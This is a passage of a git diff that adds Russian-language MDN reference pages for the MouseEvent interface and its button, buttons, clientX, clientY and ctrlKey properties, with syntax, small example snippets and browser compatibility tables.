+   <td>Compared to {{SpecName('DOM2 Events')}}, the return value can be negative.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.button')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Поддерживается_браузерами">Поддерживается браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatGeckoDesktop(1)}}</td>
+   <td>1.0</td>
+   <td>9.0 [1]</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>3.0.4</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Это соглашение не поддерживается браузерами Internet Explorer до версии 9: см. <a href="http://www.quirksmode.org/js/events_properties.html#button">QuirksMode for details</a>.</p>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref('"MouseEvent"')}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/buttons/index.html b/files/ru/web/api/mouseevent/buttons/index.html
new file mode 100644
index 0000000000..76a76cfbb4
--- /dev/null
+++ b/files/ru/web/api/mouseevent/buttons/index.html
@@ -0,0 +1,125 @@
+---
+title: MouseEvent.buttons
+slug: Web/API/MouseEvent/buttons
+translation_of: Web/API/MouseEvent/buttons
+---
+<div>{{APIRef("DOM Events")}}</div>
+
+<div>Свойство<span class="seoSummary"><strong><code>MouseEvent.buttons</code></strong></span>доступно только для чтения. Оно показывает, какие клавиши мыши (или другого устройства ввода) были нажаты при срабатывании события.</div>
+
+<div> </div>
+
+<div>Для каждой нажатой кнопки есть своё уникальное битовое значение (см. ниже раздел "<a href="#Return">Возвращаемые значения</a>"). Если нажаты несколько кнопок одновременно, значения суммируются, создавая новое значение. Например, если нажата вторая кнопка (2 или 000010 в двоичном коде) вместе со средней (4 или 000100 в двоичном коде), значение будет равно 6 (2 + 4) или 000110 в двоичном коде.</div>
+
+<div> </div>
+
+<div class="note">
+<p><strong>Note:</strong> Не путайте это свойство со свойством {{domxref("MouseEvent.button")}}. Текущее свойство {{domxref("MouseEvent.buttons")}} показывает состояние нажатых кнопок при любом событии мыши, а свойство {{domxref("MouseEvent.button")}} указывает на события, произошедшие в результате нажатия/отпускания кнопок мыши.</p>
+</div>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>buttonPressed</em> = <em>instanceOfMouseEvent</em>.buttons
+</pre>
+
+<h2 id="Возвращаемые_значения"><a id="Return" name="Return">Возвращаемые значения</a></h2>
+
+<p>Целое число, представляющее одну или несколько кнопок. При одновременном нажатии нескольких кнопок значения объединяются (например, 3 = первая (1) + вторая (2) кнопки мыши):</p>
+
+<ul>
+ <li><code>0 </code> : кнопки не нажаты или не инициализированы;</li>
+ <li><code>1 </code> : первая кнопка (обычно левая);</li>
+ <li><code>2 </code> : вторая кнопка (обычно правая);</li>
+ <li><code>4 </code> : дополнительная кнопка (обычно средняя или колёсико мыши);</li>
+ <li><code>8 </code> : четвёртая кнопка (как правило, кнопка "Назад" браузера);</li>
+ <li><code>16</code> : пятая кнопка (как правило, кнопка "Вперёд" браузера).</li>
+</ul>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-buttons','MouseEvent.buttons')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatChrome(43)}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown}}<sup>[1]</sup></td>
+   <td>9</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android Webview</th>
+   <th>Chrome for Android</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] Gecko supports the <code>buttons</code> attribute on Windows, Linux (GTK), and Mac OS with the following restrictions:</p>
+
+<ul>
+ <li>Utilities allow customization of button actions so that primary may not the the left button on the device, secondary may not be the right button, and so on. The middle (wheel) button, 4th button and 5th button might not be assigned a value, even when they are pressed.</li>
+ <li>Single button devices may emulate additional buttons with combinations of button and keyboard presses</li>
+ <li>Touch devices may emulate buttons with configurable gestures (e.g. single touch for primary, two-finger touch for secondary, etc.)</li>
+ <li>On Linux (GTK), the 4th button and the 5th button are not supported. In addition, a mouseup event always has the releasing button information in this attribute value.</li>
+ <li>On Mac OS X 10.5, the buttons attribute always returns 0 because there is no platform API for implementing this feature.</li>
+</ul>
+
+<h2 id="Смотри_также">Смотри также</h2>
+
+<ul>
+ <li>{{domxref("MouseEvent")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/clientx/index.html b/files/ru/web/api/mouseevent/clientx/index.html
new file mode 100644
index 0000000000..2122a975a2
--- /dev/null
+++ b/files/ru/web/api/mouseevent/clientx/index.html
@@ -0,0 +1,132 @@
+---
+title: MouseEvent.clientX
+slug: Web/API/MouseEvent/clientX
+tags:
+  - API
+  - CSSOM View
+  - DOM
+  - DOM Events
+  - MouseEvent
+  - Property
+  - Read-only
+translation_of: Web/API/MouseEvent/clientX
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.clientX</code></strong> свойство доступное только для чтения. Это свойство является горизонтальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства <code>clientX </code>равным 0, независимо от того, прокручена страницы по горизонтали или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>x</em> = <em>instanceOfMouseEvent</em>.clientX
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Числовое значение горизонтальной координаты</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример для clientX\clientY&lt;/title&gt;
+
+&lt;script&gt;
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Для показа координат мышки нажмите в любом месте страницы.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientX','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет отличий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientX')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientY","clientY")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/clienty/index.html b/files/ru/web/api/mouseevent/clienty/index.html
new file mode 100644
index 0000000000..02d03fb891
--- /dev/null
+++ b/files/ru/web/api/mouseevent/clienty/index.html
@@ -0,0 +1,124 @@
+---
+title: MouseEvent.clientY
+slug: Web/API/MouseEvent/clientY
+translation_of: Web/API/MouseEvent/clientY
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p><strong><code>MouseEvent.clientY</code></strong> свойство доступное только для чтения. Это свойство является вертикальной координатой в пределах клиентской области приложения, на которой произошло событие (в отличие от координат внутри страницы). Для примера, нажатие в верхнем левом углу клиентской области будет всегда приводить к событию со значением свойства <code>clientY </code>равным 0, независимо от того, прокручена страницы по вертикали или нет.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>y</em> = <em>instanceOfMouseEvent</em>.clientY
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Числовое значение вертикальной координаты</p>
+
+<h2 id="Example" name="Example">Example</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример для clientX\clientY&lt;/title&gt;
+
+&lt;script&gt;
+function showCoords(evt){
+  alert(
+    "clientX value: " + evt.clientX + "\n" +
+    "clientY value: " + evt.clientY + "\n"
+  );
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onmousedown="showCoords(event)"&gt;
+&lt;p&gt;Для показа координат мышки нажмите в любом месте страницы.&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-clientY','MouseEvent.clientY')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет отличий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.clientY')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox (Gecko)</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>6</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Edge</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>Android</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="See_also" name="See_also"><strong>Смотрите также</strong></h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+ <li>{{domxref("MouseEvent.clientX","clientX")}}</li>
+ <li>{{domxref("MouseEvent.screenX","screenX")}} / {{domxref("MouseEvent.screenY","screenY")}}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/ctrlkey/index.html b/files/ru/web/api/mouseevent/ctrlkey/index.html
new file mode 100644
index 0000000000..6b8815d8da
--- /dev/null
+++ b/files/ru/web/api/mouseevent/ctrlkey/index.html
@@ -0,0 +1,71 @@
+---
+title: MouseEvent.ctrlKey
+slug: Web/API/MouseEvent/ctrlKey
+translation_of: Web/API/MouseEvent/ctrlKey
+---
+<p>{{APIRef("DOM Events")}}</p>
+
+<p>Свойство только для чтения <strong><code>MouseEvent.ctrlKey</code></strong> возращает true, когда клавиша Ctrl была нажата, а если нет - false.</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox">var <em>ctrlKeyPressed</em> = <em>instanceOfMouseEvent</em>.ctrlKey
+</pre>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Boolean</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush: js">&lt;html&gt;
+&lt;head&gt;
+&lt;title&gt;Пример с ctrlKey&lt;/title&gt;
+
+&lt;script type="text/javascript"&gt;
+document.addEventListener('click', function(e) {
+  console.log('Нажата клавиша Ctrl?', e.ctrlKey);
+})
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+Кликните в любое место на странице и откройте консоль разработчика, чтобы узнать - нажата ли клавиша Ctrl?
+&lt;/p&gt;
+&lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#widl-MouseEvent-ctrlKey','MouseEvent.ctrlKey')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>Нет различий от {{SpecName('DOM2 Events')}}.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent.ctrlKey')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Поддержка браузеров</h2>
+
+
+
+<p>{{Compat("api.MouseEvent.ctrlKey")}}</p>
+
+<h2 id="See_also" name="See_also">Смотрите также</h2>
+
+<ul>
+ <li>{{ domxref("MouseEvent") }}</li>
+</ul>
diff --git a/files/ru/web/api/mouseevent/index.html b/files/ru/web/api/mouseevent/index.html
new file mode 100644
index 0000000000..610f8aacef
--- /dev/null
+++ b/files/ru/web/api/mouseevent/index.html
@@ -0,0 +1,303 @@
+---
+title: MouseEvent
+slug: Web/API/MouseEvent
+tags:
+  - API
+  - DOM
+  - DOM Events
+  - Interface
+  - NeedsTranslation
+  - Reference
+translation_of: Web/API/MouseEvent
+---
+<p id="Summary">{{APIRef("DOM Events")}}</p>
+
+<p>Интерфейс <code><strong>MouseEvent</strong></code> представляет собой событие, которое происходит в результате взаимодествия пользователя с  манипулятором ( например, мышью). Наиболее частые из таких событий: {{event("click")}}, {{event("dblclick")}}, {{event("mouseup")}}, {{event("mousedown")}}.</p>
+
+<p><code>MouseEvent</code> выводится из метода {{domxref("UIEvent")}}, который в свою очередь происходит из метода {{domxref("Event")}}. Метод {{domxref("MouseEvent.initMouseEvent()")}} допустимо использовать для лучшей совместимости с предыдущими версиями, однако, для создания  <code>MouseEvent </code>рекомендуется использовать конструктор метода  {{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}.</p>
+
+<p>Несколько более конкретные события, производные от события mouseevent: {{domxref("WheelEvent")}} and {{domxref("DragEvent")}}.</p>
+
+<h2 id="Конструктор">Конструктор</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.MouseEvent", "MouseEvent()")}}</dt>
+ <dd>Создает объект <code>MouseEvent</code>.</dd>
+</dl>
+
+<h2 id="Свойства">Свойства</h2>
+
+<p><em>Данный интерфес наследует свойства от родителей {{domxref("UIEvent")}} и {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.altKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша  <kbd>alt</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.button")}} {{readonlyinline}}</dt>
+ <dd>Представляет код клавиши, нажатой в то время, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.buttons")}} {{readonlyinline}} {{gecko_minversion_inline("15.0")}}</dt>
+ <dd>
+ <p>Отображает, какие клавиши были нажаты во время движения мыши.</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.clientX")}} {{readonlyinline}}</dt>
+ <dd>Отображение X координат курсора мыши в локальной системе координат (DOM контент).</dd>
+ <dt>{{domxref("MouseEvent.clientY")}} {{readonlyinline}}</dt>
+ <dd>Отображение Y координат курсора мыши в локальной системе координат (DOM контент).</dd>
+ <dt>{{domxref("MouseEvent.ctrlKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша <kbd>control</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.metaKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает значение <code>true,</code> если клавиша <kbd>meta</kbd> была нажата во время движения мыши.</dd>
+ <dt>{{domxref("MouseEvent.movementX")}} {{readonlyinline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.</dd>
+ <dt>{{domxref("MouseEvent.movementY")}} {{readonlyinline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно позиции последнего {{event("mousemove")}} события.</dd>
+ <dt>{{domxref("MouseEvent.offsetX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно позиции границы отступа целевого узла.</dd>
+ <dt>{{domxref("MouseEvent.offsetY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно позиции границы отступа целевого узла.</dd>
+ <dt>{{domxref("MouseEvent.pageX")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает X координат указателя мыши относительно всего документа.</dd>
+ <dt>{{domxref("MouseEvent.pageY")}} {{readonlyinline}}{{experimental_inline}}</dt>
+ <dd>Отображает Y координат указателя мыши относительно всего документа.</dd>
+ <dt>{{domxref("MouseEvent.region")}} {{readonlyinline}}</dt>
+ <dd>Возвращает id затронутого событием региона. Если ни какой регион затронут не был, возвращает null.</dd>
+ <dt>{{domxref("MouseEvent.relatedTarget")}} {{readonlyinline}}</dt>
+ <dd>Второстепенная цель события, если таковая есть.</dd>
+ <dt>{{domxref("MouseEvent.screenX")}} {{readonlyinline}}</dt>
+ <dd>Отображает X координат указателя мыши в пространстве экрана.</dd>
+ <dt>{{domxref("MouseEvent.screenY")}} {{readonlyinline}}</dt>
+ <dd>Отображает Y координат указателя мыши в пространстве экрана.</dd>
+ <dt>{{domxref("MouseEvent.shiftKey")}} {{readonlyinline}}</dt>
+ <dd>Возвращает true если клавиша <kbd>shift</kbd> была нажата, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.which")}} {{non-standard_inline}} {{readonlyinline}}</dt>
+ <dd>Возвращает код последней нажатой клавиши, когда произошло событие мыши.</dd>
+ <dt>{{domxref("MouseEvent.mozPressure")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>Отображает давление которое было осуществленно при нажатии. Значение будет между <code>0.0</code> (минимальное давление) и <code>1.0</code> (максимальное давление).</dd>
+ <dt>{{domxref("MouseEvent.mozInputSource")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>
+ <p>The type of device that generated the event (one of the <code>MOZ_SOURCE_*</code> constants listed below). This lets you, for example, determine whether a mouse event was generated by an actual mouse or by a touch event (which might affect the degree of accuracy with which you interpret the coordinates associated with the event).</p>
+ </dd>
+ <dt>{{domxref("MouseEvent.webkitForce")}} {{non-standard_inline()}} {{readonlyinline}}</dt>
+ <dd>Отображает количество приложенного давления при клике.</dd>
+ <dt>{{domxref("MouseEvent.x")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias для {{domxref("MouseEvent.clientX")}}.</dd>
+ <dt>{{domxref("MouseEvent.y")}} {{experimental_inline}}{{readonlyinline}}</dt>
+ <dd>Alias для {{domxref("MouseEvent.clientY")}}</dd>
+</dl>
+
+<h2 id="Константы">Константы</h2>
+
+<dl>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Минимальная необходимая сила для обычного клика</dd>
+ <dt>{{domxref("MouseEvent.WEBKIT_FORCE_AT_FORCE_MOUSE_DOWN")}} {{non-standard_inline}}{{readonlyinline}}</dt>
+ <dd>Минимальная необходимая сила для усиленного клика</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<p><em>Данный интерфес наследует свойства от родителей, {{domxref("UIEvent")}} and {{domxref("Event")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("MouseEvent.getModifierState()")}}</dt>
+ <dd>Returns the current state of the specified modifier key. See the {{domxref("KeyboardEvent.getModifierState")}}() for details.</dd>
+ <dt>{{domxref("MouseEvent.initMouseEvent()")}} {{deprecated_inline}}</dt>
+ <dd>Initializes the value of a <code>MouseEvent</code> created. If the event has already being dispatched, this method does nothing.</dd>
+</dl>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Данный пример демонстрирует симуляцию нажатия левой клавиши мыши (событие мыши генерируется программно) по чекбоксу используя методы DOM.</p>
+
+<pre class="brush: js">function simulateClick() {
+  var evt = new <a href="/en-US/docs/Web/API/MouseEvent">MouseEvent</a>("click", {
+    bubbles: true,
+    cancelable: true,
+    view: window
+  });
+  var cb = document.getElementById("checkbox"); //element to click on
+  var canceled = !cb.<a href="/en-US/docs/Web/API/EventTarget.dispatchEvent" rel="internal" title="en/DOM/element.dispatchEvent">dispatchEvent</a>(evt);
+  if(canceled) {
+    // A handler called preventDefault
+    alert("canceled");
+  } else {
+    // None of the handlers called preventDefault
+    alert("not canceled");
+  }
+}
+document.getElementById("button").addEventListener('click', simulateClick);</pre>
+
+<pre class="brush: html">&lt;p&gt;&lt;label&gt;&lt;input type="checkbox" id="checkbox"&gt; Checked&lt;/label&gt;
+&lt;p&gt;&lt;button id="button"&gt;Click me&lt;/button&gt;
+</pre>
+
+<p>Нажмите на кнопку, чтобы посмотреть, как работает пример.</p>
+
+<p>{{ EmbedLiveSample('Example', '', '', '') }}</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#dom-mouseevent-region", "MouseEvent.region")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added the <code>region</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('Pointer Lock','#extensions-to-the-mouseevent-interface','MouseEvent')}}</td>
+   <td>{{Spec2('Pointer Lock')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>movementX</code> and <code>movementY</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('CSSOM View', '#extensions-to-the-mouseevent-interface', 'MouseEvent')}}</td>
+   <td>{{Spec2('CSSOM View')}}</td>
+   <td>From {{SpecName('DOM3 Events')}}, added <code>offsetX</code> and <code>offsetY</code>, <code>pageX</code> and <code>pageY</code>, <code>x,</code> and <code>y</code> properties.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM3 Events','#events-mouseevents','MouseEvent')}}</td>
+   <td>{{Spec2('DOM3 Events')}}</td>
+   <td>From {{SpecName('DOM2 Events')}}, added the <code>MouseEvent()</code> constructor, the <code>getModifierState()</code> method and the <code>buttons</code> property.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM2 Events','#Events-MouseEvent','MouseEvent')}}</td>
+   <td>{{Spec2('DOM2 Events')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<p>{{ CompatibilityTable() }}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Возможность</th>
+   <th>Firefox (Gecko)</th>
+   <th>Edge</th>
+   <th>Chrome</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Базовая поддержка</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.movementX","movementX")}}<br>
+    {{domxref("MouseEvent.movementY","movementY")}}</td>
+   <td>{{CompatVersionUnknown()}} {{property_prefix("moz")}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{ CompatUnknown() }}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.buttons", "buttons") }}</td>
+   <td>{{ CompatVersionUnknown() }}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>43</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{ CompatUnknown() }}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>{{ domxref("MouseEvent.which", "which") }}</td>
+   <td>1.0</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>1.0</td>
+   <td>9.0</td>
+   <td>5.0</td>
+   <td>1.0</td>
+  </tr>
+  <tr>
+   <td>{{domxref("MouseEvent.getModifierState()", "getModifierState()")}}</td>
+   <td>{{CompatGeckoDesktop(15)}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
+   <td>{{CompatVersionUnknown()}}</td>
